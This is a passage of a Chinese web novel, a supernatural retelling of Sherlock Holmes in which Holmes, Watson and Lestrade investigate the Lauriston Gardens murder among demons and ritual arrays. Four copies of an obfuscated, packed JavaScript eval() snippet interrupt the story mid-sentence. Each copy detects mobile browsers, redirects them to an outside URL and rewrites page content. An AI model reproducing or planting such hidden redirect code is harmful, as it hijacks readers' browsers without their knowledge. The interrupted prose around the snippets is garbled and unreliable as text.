歇洛克和哈德森太太站在这动人舞台的边缘对话。 “不可思议。”哈德森太太注视着那个人的灵魂，“他的到来，将现实世界的法则一并代入了深渊。” “要知道这里已经是深度-5的区域，寻常三阶的使者也很难完全发挥他们的超凡力量。” “正是因为与众不同，所以格外有趣。”歇洛克说道，“和你第二任丈夫一样，他们都拥有价值非凡的灵魂。” “的确是无价的珍宝。”哈德森太太如此轻声感慨，她又看向他，“那么你呢？是依托他而生的存在吗？” “不。我只是我而已。”他回答，“只是恰好遇到了约翰·华生，于是以歇洛克·福尔摩斯的方式存在于此。” 哈德森太太静静注视着他。 歇洛克缓缓挑眉，“或许你还有其他想和我说的？” 她收回视线，也学着他的样子挑挑眉。 “不，有些事情你自己经历一次，远比我口述要来的更有说服力。很快你就会发现，与人的交往中，你们都会彼此变化，彼此塑造。” 歇洛克说道，“你说得仿佛自己是个人类专家。” 哈德森太太没有继续回答他的话，反而拍拍手，在这个瞬间主动打破笼罩在她和歇洛克与外界隔绝的帷幕。 “怎么样，约翰先生？”哈德森太太主动问道，哪怕是初次见面就使用了一个更为亲近的称呼，“这间公寓是否合乎你的心意？” 她没有询问歇洛克的意见，像是肯定他必定会选择这间公寓，现在重要的是约翰自己的意见。 约翰回过头来，表情很是满意。 “当然，哈德森太太！” “这里交通方便，视野也很好，如果租金合适，我会毫不犹豫地租下它的！” 发鬓有了霜雪一样斑白的妇人笑道，“有您这样一位令人很是喜欢的租客，也是我的幸运。” 约翰甚至有些震惊，因为哈德森太太对自己报出的租金价格，比他设想的还低。 自然，与歇洛克·福尔摩斯共租贝克街221B的事情就此定下。 不过等约翰真正和对方共处一室的时候，才发现这家伙说自己平时喜欢做实验，但没说他喜欢做的都是些什么古怪的实验；这家伙说自己有时会拉小提琴，但绝对没说可能是在半夜三更拉小提琴。 虽然屋里时不时会有大火一样的浓烟四起，不过贝克街221室的邻里竟然都像司空见惯一样，从来没有人进行过投诉。 今天约翰看着起居室里那随手钉在墙壁上的银色餐刀时，忍不住回头问，“我怎么记得我昨天特意买了别针，可以用来给你的报纸进行分门别类？” 随意躺倒在起居室长躺椅上的人，正用一本在常人看来厚重如石砖，且内容晦涩难懂的书本摊开当眼罩。 约翰估计以这位舍友天才般的头脑，早在两个小时前就打发时间读完了它。 “只是顺手。” 对方如此回答。 约翰又一次注意观察了一下那些信函。 火漆还完美地覆盖在封口处， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772468|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明它们连拆封这个过程都没有经历。 约翰委婉提醒，“歇洛克，这样不尊重他人的来信，那可不是一名绅士该有的行为。” 但歇洛克·福尔摩斯显然不是寻常的绅士，他待人可以彬彬有礼，但更多时候，华生都觉得他游离在社会之外。 他会无法抑制地想起自己笔记本里的福尔摩斯，文字描述里的那个人堪称冷血无情，或许只能被称为是一个推理机器，但现在正和他共处一室的人，是会与他说话、会有自己的性格的人。 所以哪怕他脾气古怪，但也并非他的文字。 约翰心想，他或许也是一个了解并会使用超凡能力的使者，所以才这样与众不同。 现在歇洛克忽然抬起手中那本写着召唤法阵解析过程的书，接着对他说道：“说起来，约翰，你对超凡力量了解多少？” 约翰刚把餐叉从墙上拔下来。 说实话，他实在不想明天早上吃早餐的时候，又找不到合适的工具。 此时听到这位舍友的提问，他愣了愣，放下餐叉说道： “不多……但也不少。” “就我在前线观察所见，超凡力量并不局限于破坏，有些还能运用到窃听、变形……乃至非凡的治愈能力。” “天哪，那个小姑娘甚至不用药物和手术刀，就如祈祷的圣女像一样，将手放在伤者的身上，那几乎能撕裂整个身体的伤口就可以凭空愈合。” 歇洛克从书本被抬起的缝隙里看他，深邃的眼眸像两颗珍贵的蓝宝石。 他问，“人类接受新事物的东西比我想象中的要快。” “面对这样难以用常理解释的力量，竟然就已经投入了战场进行使用，难道你们不怕来自这股力量和其背后魔鬼的反噬？” “哦……你是说福音教表示，没有经过圣水洗礼的超凡力量，都是和魔鬼做交易得来的这件事吗？” 歇洛克变得饶有兴致起来。 他忽地扔开已经看完的书，直接坐直，然后说道： “福音教说那些和魔鬼做出交易的超凡能力者，每一次使用力量，都需要付出一次代价，直至他们身无分文，耗尽灵魂最后一滴价值，随后就会被魔鬼收走灵魂，堕落成毫无理智可言的恶魔。” “所以他们禁止普通人接触那些编导知识，并将其称为禁忌的力量。” “然而就算没有这些力量，人类依旧在自相残杀，用刀剑、用斧头、用火枪和子弹，那又有什么区别？” 约翰轻声说道：“当然是不同的。” “我见过堕落成恶魔的人，他们还能够说话，还能够交流，可他不觉得面对面坐在一起的还是同胞。” “不是出于人类应有的情感，做出那些罪恶的行为；而是在他看来，自己已经不属于人类的群体，人类只是路边繁杂的草，割下它、烧毁它，或是拿走观赏后再扔掉它，都是随心所欲的事情。” “这样不尊重生命的人，就不能称为人，它们存在的本身就是罪孽，应当被彻彻底底的消除。” 他们的双眼对视着，直到坐在长椅上的那个人先移开了视线。 “我喜欢你这样新奇的说法。” 歇洛克说道： “既然你对恶魔和超凡力量有了初步的了解，接下来目睹我工作的过程，或许你也不会吃惊。” 楼下门外传来马车急促的脚步声，在一阵敲门声之后，哈德森太太的声音响起。 “两位，雷斯垂德警官拜访。” 5. 05 雷斯垂德，一名苏格兰场的探长，同时也是隶属于福音教会维系社会稳定的超凡能力者团体，白骑士团第四组成员之一。 严格来算，给他发工资的不是苏格兰场，而是福音教会才对。 此时，这位削瘦结实的中年男人穿着风衣目不斜视地从马车上一跃而下，并警告自己不要过多关注贝克街85号房屋往后的那些建筑和街景。 作为一名拥有超凡能力的使者，他不像平时误入这里的普通人那样浑浑噩噩，最后不知所终。 他清楚贝克街从来没有标有85号房屋往后的建筑，这些是深渊侵蚀人类社会的通道，犹如弥漫在伦敦上空经久不散的雾气，化作口耳相传的都市传言辗转在孩子们开玩笑的恐吓里，与一些恐怖小说作家的作品中。 身为三阶的强者，他已经能够做到尽可能稳定抵御深渊每时每刻对理智的侵蚀。 一般前往这里途中的呢喃絮语，和古怪景象不会影响到他的神智，可现在当他站在贝克街221室的屋门面前时，他还是本能地觉得哪里有些不对劲。 雷斯垂德回头看了眼载着自己前来的马车。 俊俏的黑马对着他打了个响鼻，很人性化地表现出一些不耐烦的态度。 好像一切没有什么不对劲的地方。 四周浓厚的雾气像是灰色的幕帘，远处街角的一缕灯光忽明忽暗，就和伦敦街头大部分被人忽视的角落一样，在那里独自闪烁着或许只有自己才能明白的信号频率。 他拉紧风衣，看见打开大门的哈德森太太，不忘和她问好后，就直奔二楼而去。 这明明是他初次来这里，可动作已经熟稔得如同重复过千百次。 雷斯垂德知道自己不是第一次和歇洛克·福尔摩斯求助，但每一次的求助方式并不固定。 如同朝着故事里的魔鬼许愿，当他下定决心向对方说出自己的诉求时，就会提前感到惶恐和不安，哪怕对方直至目前什么要求都没有提出，什么代价都没有让他偿付。 停在二楼起居室门前，雷斯垂德听到了门里居然还有第二道声音。 “歇洛克，你怎么知道工作即将主动找上门来？” “约翰，你听到走到门前的脚步声了吗？当然他现在沉默了，是因为他听到了你的声音，他不认识你，所以在判断你的身份。现在我可以直接告诉他，雷斯垂德警官，请进，在起居室里的另一位是华生医生，与我合租的舍友。” 雷斯垂德走进屋内，看向坐在沙发上的两人。 看起来这两位合租人竟然相处得还挺愉悦。 不过歇洛克·福尔摩斯真的是会与其他人合租的人吗？又或者以前他是叫这个名字吗……？ 眼前的景色模糊了一瞬间，然后又在医生的话语中渐渐恢复平静。 “警官？” “怎么回事？脸色苍白，手脚冰冷……你有低血糖吗？” 约翰扶住了他的手臂，温暖的体温叫人清晰地感受到遇见同类时的宽慰和安心。 “——我没事，谢谢你的关心，华生医生。” 雷斯垂德深吸一口气，重新站直了身体，但犹豫了一下，没有拒绝对方好意递过来的一颗糖。 他像是重新找回了勇气，尽可能直视着长椅上的侦探说道： “劳瑞斯顿花园街5号房屋里发生一起命案，我想请您帮忙。” 约翰回过头去看歇洛克。 毕竟这些天里不是没有其他委托人前来，不过歇洛克大部分时候的反应仅局限在“麻烦”“这种事情自己去找苏格兰场”以及“还算有意思，但我坐在这里就能把事情说清楚”这几个选项里。 今天，当雷斯垂德警官如此发出请求的时候，歇洛克终于抬起眼，对他说道：“那么请你简练说明一下情况。” 雷斯垂德说道： “今早栾斯巡警发现在劳瑞斯顿花园街5号房屋里有一名死者。” “经过调查，我们发现他的名字叫做伊瑙克·锥伯。” “他是一个普通人，但死因是……” 他看向约翰，像是疑虑要不要继续说下去。 歇洛克表示，“雷斯垂德，医生在这里也没有问题。” 于是雷斯垂德在短暂的停顿后，继续说道： “死因是被抽干了全身血液而亡。” “现场另发现有仪具的使用痕迹，但我的组员没能发现仪式道具的踪影，怀疑可能已被凶手销毁。” 约翰忽地打了个寒战。 “抽干血液？” “对，直接死因是由于抽干了血液，而凶手不仅仅在死前折磨了锥伯，还将他的灵魂也一并抽取了出来。” 约翰忽地出言打断，“等等！雷斯垂德警官，你说的这一切难道是想暗示我们，做出这一切的犯人并非常人，而是能够使用超凡能力的使者？！” 雷斯垂德的节奏又一次顿了顿。 歇洛克说道：“不过华生，这没什么好奇怪的，毕竟伦敦这座城市藏污纳垢的地方可能远比位处明光之下的多，但正因为这里还有属于人类的秩序，所以这些犯人才只敢于暗中行事。” 他像是对这类人犯下罪行的手法很感兴趣。 “苏格兰场负责人类犯下的谋杀案，而白骑士团第四小组则负责摆平那些使者和恶魔做的谋杀，你眼前这位先生正是伪装成前者的后者而已。” 雷斯垂德语气沉重。 “说实在的，福尔摩斯先生，有些事情不是普通人能被卷入的。” “对于这个世界，往往了解得越多，就越容易疯狂。” “如果本来就有幸福的人生，那就没有必要去主动认识那些东西。” 歇洛克似笑非笑地看着他。 “哪怕白骑士团由福音教皇冕下领导，你们这些自诩天使使者的超凡力量源自不一样的神力？” 福音教总是极力宣扬，信奉他们全知全能的主，便有神力庇护那些虔诚的信徒。 约翰记得，在战场上遇到的那个犹如圣女像的小女孩，她看起来甚至没有超过六岁，穿着一身白裙，没有携带任何的工具，徒手就能将濒临死亡的人，用神奇的方法重新唤醒他们的生机。 战场上的人狂热地相信这是神迹的奖励，并坚信由神庇佑的正义之战终将胜利。 “这是人的土地，渗透进来的其他东西污浊着土壤，最后结出的果实并不一定是通往天堂的钥匙。” 雷斯垂德的表情依旧很差。 他看向约翰。 “这位华生医生，我的建议是，劝您不要随意掺和进这件事里，甚至说句失礼的话，我甚至觉得您与……福尔摩斯先生这样的存在合租，也不是一个合乎常理的选择。” 他说起“歇洛克·福尔摩斯”这个名字的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772469|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候，语气有些陌生和生疏。 约翰回头看了眼并没有打算阻止雷斯垂德继续说下去的舍友，又重新看向这位警官，然后诚恳地对他说道： “谢谢你的提醒，不过选择和歇洛克合租，也是我经过考虑之后的决定。” 他知道自己合租的舍友与众不同，或许还隐隐和自己丢失的笔记本有所关联，但推动去做这些事的还是那无法抑制的好奇心，和为了自我保护而诞生的求知欲。 对于人类而言，想要解决危险，就必须先了解危险。 如同他想知道使用超凡力量的使者，到底是谁的使者。 发生在眼前的战争，和隐藏于幕后的战争，究竟是围绕着什么而展开，如果能够拨开眼前重重的迷雾，站在更高的角度俯视全局，会不会发现，原来自以为是执棋手的存在，也不过是偌大棋盘上的一个渺小棋子？ 所以那时，即便知道他即将踏入的地方是未知的迷雾，但当歇洛克·福尔摩斯那么说的时候，他还是义无反顾地一同走进这里。 雷斯垂德多看了他两眼，最后说道： “好吧华生医生，我不是要站在这里提前进行一些无根据的指责，我只是想提醒您，请务必要注意安全。” “每一份看似触手可及的财宝背后，其实都有明码的标价。” “更多的人在与魔鬼做交易的瞬间，灵魂就已经被榨干，成了毫无理智和同理心可言的恶魔。” “所以你们怀疑刚才那个案件是魔鬼所做吗？” 约翰问道。 “不。”雷斯垂德反而否定得很快，“魔鬼和恶魔……反而更像是主和天使，天使和使者之间的等级关系才对。” “魔鬼们拥有的力量超乎人类的想象，祂们将力量给予被选中的人类，往往就会收取灵魂作为自己的酬劳。” “想要杀死一个普普通通的人类，祂们甚至不用策划必要的仪式，或是使用专门的仪具，只需要动动自己的手指，就足以蹍死一片蚁群。” 歇洛克从起居室的长椅上起身。 “雷斯垂德。” “有些事情不到最后，或许不会像你所想的那样简单，想让我们去现场看看。” “约翰。” 被喊到姓名的人抬头看他。 “一起吗？” “当然！” 约翰一把扯过自己放在门边的大衣，然后跟上他们离开房间的步伐。 贝克街221号门前的马车还安静停留在原地，见到歇洛克·福尔摩斯后，黑马像是有些不安又惧怕地抬起马蹄，但很快又在约翰·华生同时进入车厢后变得安静下来。 坐在前面驾驶位上的车夫将自己风衣的衣领竖得很高，偏偏帽子又压得很低，叫人看不清他的面容。 不用他们三人说目的地前往何处，车夫像是早有预料，扬起马鞭，让黑马在街道上再度奔驰起来。 歇洛克看着跟上的约翰，“我需要你的帮助，医生。” 约翰说道，“能帮助一位聪明过人的侦探侦破案件，找出真凶，还社会一个安宁，是我的荣幸。” 歇洛克放声大笑，“医生，我喜欢你的真诚和正直，有你在，我在现场的破案才会更加顺利。” 雷斯垂德看着他们两人，不由只用自己能听到的声音低声说道： “疯了……居然能和祂……相谈甚欢……” 6. 06 今天马车到劳瑞斯顿花园街5号的时候，约翰感觉它的速度尤其快，粗略估计需要四十多分钟时间的车程，这匹黑色骏马居然只用一半的时间就到达目的地，这甚至让他觉得这样的好马不用做赛马实在是暴殄天物。 但坐车坐到面色不佳，精神有些萎靡的雷斯垂德露出匪夷所思的表情。 “华生医生，你没有哪里感觉不适吗？” 约翰摇头，“或许是雷斯垂德警官你晕车了。” 他又一次递给他一颗自制的糖果。 雷斯垂德犹豫了一下，接过后拆开放进嘴中，薄荷的清香成功扫去他昏沉的晕眩感，居然让他重新打起精神来。 他看看自己手中的糖纸，“天哪……医生，你做的糖果难道是专门缓解精神，维系理智的药物吗？” 约翰无奈，“怎么可能，只是最普通不过的薄荷糖而已……当然，前两天我还做了蜂蜜糖，对付一些不愿意看诊的小孩子倒是非常有效果。” 就在他们对话的时候，比两人提早一步下车，步行来到劳瑞斯顿花园街的歇洛克姗姗来迟地出现在门边。 然后他一把扯住了从路旁急匆匆就要踩着泥地进门的葛莱森警探。 后者满面怒容地回过头来，试图用自己的黑手套将他的手从自己胳膊上拂下去。 “你在干什么！而且这里是案发现场，谁允许你这样私自闯入？！” “闭嘴。” 对方冷淡的话语令葛莱森的责备不由一顿，而看见对方饶有兴致，认真观察地面马车轮印的时候，更是觉得对方古怪异常。 歇洛克从门前的车轮印，一直看到室外的足迹，最后终于松开了葛莱森的手臂。 葛莱森揉了揉自己的胳膊，感觉自己恐怕拼了命去抓捕犯人时的力道，都没有这个人刚才随手一抓时用力。 他悄悄往后倒退一步，想离这个人远一些，再找另一个巡警将他从现场赶走。 不过刚往后倒退一步，他就感觉自己的肩膀撞上了其他人。 回头看去，葛莱森认出来者是自己同僚雷斯垂德身边的下属梅森·凯迪普里奥。 葛莱森连忙拉住他，“梅森！赶紧把这破坏现场的家伙赶出去！” 戴着白手套的梅森语气还是一如既往地没有任何波澜起伏。 “这位是雷斯垂德队长请来的侦探。” 葛莱森的动作顿时一滞，说话的语气里满是不可思议。 “这个怪人就是雷斯垂德不知千里迢迢去哪儿请的侦探？！他看起来一点经验也没有！” 歇洛克从房屋门前的花草中直起身来，语速不紧不慢地提醒葛莱森。 “首先破坏现场的，明显是你们这群没有任何章法，就随意让所有人进进出出的警探们。” 他像是一点也不在乎苏格兰场是否有颜面留存的问题，直截了当地就如此说道。 刚巧打开屋门的雷斯垂德听到这句话，不由沉默。 葛莱森立马看向自己的同僚，“嘿！雷斯垂德！你这是从哪里找来的三流侦探？！” “不……”雷斯垂德有些头疼于自己该如何向身为普通人的葛莱森解释，他只好先转移话题，“总之先进门，我会让梅森守在门口，暂时不要让无关人员入内。” 葛莱森立马借着这个理由，迅速与歇洛克拉开距离，他嘟囔着一些抱怨的话，迅速先进了屋门。 走在后面的雷斯垂德，与正和约翰并行的歇洛克低声说道： “我以为您会直接用一些……仪具或者能力，就能找出凶手。” 就如绝大部分拥有寻人追踪能力的使者们一样。 “如果这种方式有效的话，你们白骑士团第四组难道没有专门寻人的使者吗？” 歇洛克一针见血地指出关键。 “当然，如果能突破至你们口中的七阶，也能无视种种限制，强行找出自己想找的低阶位之人。” 闻言，雷斯垂德看起来有些窘迫。 “梅森的能力就是寻人，但是很遗憾，凶手看起来最起码是三阶的使者或是恶魔，我们无法利用能力或者仪具找到这个人的行踪。” “在被现实法则覆盖的世界里，即便是睡梦中杀人，也需遵循一定的规律和法则。” 歇洛克说道： “五阶以下的超凡能力使用者，都需要仪具或仪式阵法的配合。” “更多时候，没有远程能力手段的使者和恶魔，其实和普通人没有两样，需要近距离接触被害者，才能对他们造成伤害，甚至在此过程中，他们会被刀剑和子弹所威胁，部分使者恶魔，在没有仪具的保护下，脆弱得甚至比不上街边的普通打手和小混混。” “所以，有时被你们忽视的常规寻人方式，反而更适合这种时候。” 他们走进死者锥伯所在的房间。 现场显得很是空荡，死去的男人孤零零地倒在地板上，脸上的表情还凝固在极端愤怒和恐惧的混合上，叫人看一眼就会有生理性的不适。 而距离死者不远处的地板上，有着用血写下的几个单词。 “R、A、C、H、E……‘瑞秋’？” 约翰将这几个单词组合起来，尝试着念出它们的组合结果。 他又低头看向死者的面容，虽然看到那种表情的第一瞬间都会让人感觉不适，但他毕竟从战场退役，接受能力更强。 死者锥伯身体表面不见任何创伤，但嘴唇泛着不正常的青黑色，身躯干瘪得如同干枯的薪柴。 屋子角落里残留部分草木燃烧的灰烬残渣。 “看上去是药物中毒而死。”歇洛克说道。 他让出位置给约翰。 “当然还需要你这样更专业的人士再检查。” 约翰凑近了观察，然后肯定他刚才的推断。 “的确是中毒而亡。” “不过刚才不是说，他身体里的血……” 他注意到雷斯垂德一直在看葛莱森，于是约翰暂时沉默。 葛莱森没有注意到他们三人的神情。 他的视线一直被地板上的血字所吸引。 “据其他见过死者伊瑙克·锥伯生前样貌的人说，他的长相还算高大英俊，为什么现在反而是骨瘦如柴？” “而且‘瑞秋’……看上去是个女性名，难道就是杀害他的凶手？” “RACHE这个单词也不仅仅是人名，如果换成德语，就是‘复仇’。” 歇洛克戴上白手套，已经弯腰开始对尸体更详细的检查。 “你——” 见到他们像是已经忽略自己开始下一步动作的时候，葛莱森咬咬牙，感觉他像是演出独幕剧的小丑，只好愤愤将剩下的话先咽下了肚子，也加入检查的行列。 “歇洛克！” 约翰小心地从死者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772470|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋中翻出两封信，都是从轮船公司发出的，收信人是锥伯和斯坦节逊，提醒他们几天后往美国去的航行时间。 “时间仓促，选择启航的船也谈不上多舒适，除了这身衣物看起来还算整洁，看起来更像是为了躲着谁才急忙想要离开伦敦。” 歇洛克将刚才找到的英镑和检查过的信件暂时放到一旁，然后沿着日光闪烁的地方，找到了一枚女式婚戒。 葛莱森激动起来，“难道是那个‘瑞秋’杀人行凶时不小心留下的？！” “当然不是。” 歇洛克说道。 葛莱森有些不满他笃定的语气。 “你怎么知道？” 约翰也看向他。 歇洛克将戒指递给约翰，“看戒指内侧。” 约翰抬起那枚戒指，借着窗外的光亮看见雕刻在内侧的姓名。 “露茜……的确不是‘瑞秋’。” 葛莱森的脸色变得更加难看起来。 “为什么露茜的戒指会出现在这里？是锥伯的妻子？” “如果是妻子的物品，哪怕是遗物，也不可能放得如此随意。” 歇洛克说道。 他刚才是从死者的衣领下方，被领结遮挡的胸前那个地方找到的戒指。 “比起说这是锥伯贴身带着的东西，倒不如说是凶手不小心遗留在现场的物品才对。” “看样子，需要在晚报上登刊一则失物招领。” “等等——那么那个单词——” 葛莱森喊道。 “当然是‘复仇’的可能性远大于‘瑞秋’。” 歇洛克站在尸首的面前，伸出戴着白手套的手，像是凭空捏住了一个人的脖子，并将他提了起来。 这样的他看起来格外冷酷，又不近人情。 随后他慢慢松开五指。 阳光从他的指缝里倾泻，留下斑斑点点像血迹一样的光圈。 “显而易见的，锥伯面前的领带就是这么被弄乱，那枚保养得当的戒指，也大概率是那个时候被凶手不小心留下的。” 一时间所有人都在他的动作里消去声音，只留下刚被喊进来的巡警约翰·栾斯抓着自己的警帽喃喃站在原地，不知自己此时要说些什么，干些什么。 约翰率先回过神来，他拍拍歇洛克的肩膀，试图让氛围不要这么凝固。 “我猜你已经知道了凶手？” “大差不差，还有一些细节需要确认。” “这位第一个发现尸体的巡警先生。” 他人已经走到了墙角的灰烬堆积处，问题却是直接对着刚进门的巡警栾斯提问。 “你昨晚发现尸体之前，是不是看见一个身高六英尺，面色赤红的男人从屋里走出来。” 栾斯一惊，连说话都变得磕磕绊绊起来。 “天……天哪先生，难道您昨晚也在这栋房子周围吗？！” “是的！因为我知道这栋屋子很久没有人居住，昨晚看到有烛光的时候就有些疑惑，走近来看时，恰好发现一名面色赤红，差不多六英尺高的醉汉从里面走出来！” 歇洛克回过头来，“先生们，毫无疑问这就是凶手。” 葛莱森听得张大嘴巴。 “我的主……你该不会是胡乱猜测？！或者你是先问过了他？！要不然你为什么知道凶手是一个身高六英尺，面色赤红的男人？！” 7. 07 “实际上这是再简单不过的事情。” 歇洛克说道。 “如果你觉得难以理解，更多是因为你根本没有睁开眼，好好看看那些就摆在自己周围的线索。” 这两句话把葛莱森的脸说得青一阵白一阵。 约翰觉得自己这位聪明绝顶的舍友说得总是太简单，以至于整个过程好像真的就是这样简单易懂。 实际上在他看来，很多能轻松找到的推理关键，对于很多人而言，就是卷成一团难以找到线头开始的乱麻。 但比起很多难以启齿的普通人，约翰自认自己还有一个优点。 那就是坦率和诚实。 “我还是不清楚你到底是怎么发现凶手的特征的。” “歇洛克，你能解释得更明白一点吗？” 他诚恳地问道。 没有吱声的葛莱森与雷斯垂德也悄悄把耳朵竖起来。 于是侦探指着房间的某个不起眼的角落说道： “首先那里有浅浅的鞋印，从尺码来看，身高差不多是六英尺，这不符合我们中的其中一个；从新旧程度来看，也不是今天进入这间空屋的人留下的。” “结合刚才得到的线索，这个鞋印对应的就是昨晚被巡警目睹离开屋子的男人。” 他又绕回死者锥伯的身边，示意所有人跟着他的动作看向血字的位置。 “以锥伯的身高来写这行血字，遗书位置也明显不应当是在这里。” “这更像是凶手特意留下的印记。” “顺带按照这行字的深浅颜色来看，是凶手用右手食指写下的。” “锥伯身上没有伤口，说明他根本没有反抗，或者没有来得及反抗就已经被胁迫。” “没有扭打、没有搏斗，这些血液明显不是来自死者，也并非是凶手受伤，更有可能是后者情绪激动时流下的鼻血。” 歇洛克拿起那枚女式的结婚戒指，随后总结说道： “所以，先生们，你们还有什么其他疑惑吗？” 他环视一周，像一位在学术造诣上登峰造极的教授，看着自己不成器的学生们。 雷斯垂德和葛莱森神色各异。 前者是神情复杂，像是没有想到他仅仅是使用人类都能观察的方式，就得到了如此之多的线索。 后者面色涨红，活像生吞了不少辣椒，此刻拼命想要说些什么，却什么也无法反驳他条理清晰的推论。 最后葛莱森只能憋出一句“怪胎”的评价。 歇洛克缓缓挑眉，对葛莱森说出的那个单词也不感觉意外。 毕竟人类似乎天生带有排他性，习惯生活于生活与群体之中，羡慕嫉妒着群体里优秀的个体，但对于过于优秀，乃至可以被称之为异类的个体，又多抱有敌视、恐惧的心态。 人类的思想有趣，但也正式因为这样的人源源不断，占据多数，所以他才…… “天哪……” 有人发出了唯一的惊叹。 歇洛克看过去，见到的是，约翰瞪大眼睛，真心称赞他的表情。 他顿了顿，“这是你的真心话？” “难道我需要撒谎吗？”约翰激动地绕着他走了好几圈，“你简直是观察得细致入微，歇洛克！” “如果我也能发现这么多，恐怕就能像你一样快速推理出事情的真相！” 歇洛克停顿了一下，说道：“大部分人只是看到了，但没有思考。” 他压低了一下自己的礼帽，像是对约翰的赞叹有些无所适从，于是只好佯装冷静地转身对雷斯垂德说道： “今晚我们会刊报寻找这枚戒指的失主，此人多半就是凶手。” 雷斯垂德回神，“我们会做好准备。” 但他的表情略显为难。 “不过要是在贝克街附近抓人……” “你们如果速战速决，想必也不会惊扰附近的居民。” 歇洛克说道。 “那么这里也就无需继续待下去。” “约翰，我们该回去了。” 目视着他们两人离开的背影，葛莱森像是终于找回了自己的发声器官。 “我的主……雷斯垂德，你到底找来了什么样的怪胎帮忙……雷斯垂德？！” 回头一看，雷斯垂德已经走远，像是并没有将他的呼喊放在心上。 *** 贝克街221B。 今天的天气意外明媚，和煦的阳光穿透厚厚的云层和烟雾，将伦敦郊区远处的工厂映得很是清晰。 约翰站在窗前，视线从远处高高的烟筒，一直看到近处的街道。 一辆马车从拐角那边驶来，最后停在他们门前。 一位将自己裹得非常严实，几乎看不见面容老妇人打扮的乘客走下车来。 约翰一个激灵，急忙看向自己的舍友。 “歇洛克！” “我知道。” “应该是我们的失物招领钓到了鱼。” 躺在长椅上的人没有睁开眼，双手还是交叉叠放在胸前的姿势，让他看起来有些漫不经心又胜券在握。 “福尔摩斯先生，华生医生，有人来访。” 哈德森太太领着老妇人装扮的客人进屋时，后者还在不由自主地打摆子，像是身着单薄的衣物走进冰天雪地里上下阖动自己的牙齿。 “辛苦你了哈德森太太！” 歇洛克从长椅上一跃而起，看向这位客人。 这位紧紧攥着几乎盖住整个人的破旧棉毯的老妇人，哑着嗓子开口说道： “我看到昨晚的报纸，说您捡到了我的戒指。” 她的嗓音听起来和手指一样干枯，像是随时会被某种外力折断。 “我们的确捡到了一枚戒指。”歇洛克从起居室堆放了不少东西的桌面上抽出一个信封，“不过您有什么证据可以证明这的确是自己的物品吗？” 老妇人沉默了好一会儿，像是终于整理好了解释的措辞。 “这枚戒指内部刻有我的名字，露茜。” “如果您细细观察过，可以发现刻有名字的那部分更光滑。” “的确，那是由于长时间用手触碰那里，指尖分泌的油脂会使它在反光时看起来更亮。” 歇洛克将信封递给她。 “看得出来，这个戒指对于你来说很重要。” 老妇人的目光笼罩在破旧的斗篷之下，即便是拆开信封确认时也没有露出自己的面容。 确认过这确实是自己要找的戒指后，她很快就表示告别。 歇洛克举起一只手，并没有要阻拦的意思。 只不过当老妇人的脚步急匆匆将迈出起居室的时候，他忽然开口。 “可你就算用这种方式露面，某种意义上也已经暴露了自己的身份。” 隐藏在门外的雷斯垂德，没有丝毫犹豫地忽地出手。 狂风平地而起，猛地压住门板，连人带门砸在墙上发出巨大的动静。 约翰只感觉迎面而来的风，要将整个起居室里的纸张杂物都要掀翻，他甚至需要紧紧抓住旁边摆满了瓶瓶罐罐的木架才能稳住自己的身形，没有被风直接吹走。 歇洛克的大笑顺着风传来。 “华生，快抬头看看，身处狂风之中可是难得一见的经历！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772471|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>约翰大喊，“在这里用超凡能力，哈德森太太难道不会察觉吗！” “所以用了一些小小的静默隔离手段！” 歇洛克打了个响指，被掀开大半的地摊下方，有繁复的花纹如同万花筒里瑰丽的图案开始自行转动，狂风在打着旋进入起居室里的刹那，就成了拂面而来的微风，最后消失不见。 约翰一把掀开拍在自己脸上，被歇洛克写满无数推演过程的稿纸。 他再看眼前仿佛刚经过暴风洗礼的起居室时，不由喃喃说道： “天哪，你到底给这里加了多少仪式阵法？” 错位的沙发下方，撕开的墙纸背后，翻了个头的人体骷髅模型背后，都有不同花纹的仪阵。 “有防御效果的，有攻击效果的，还有各种其他你能想到的所有。” 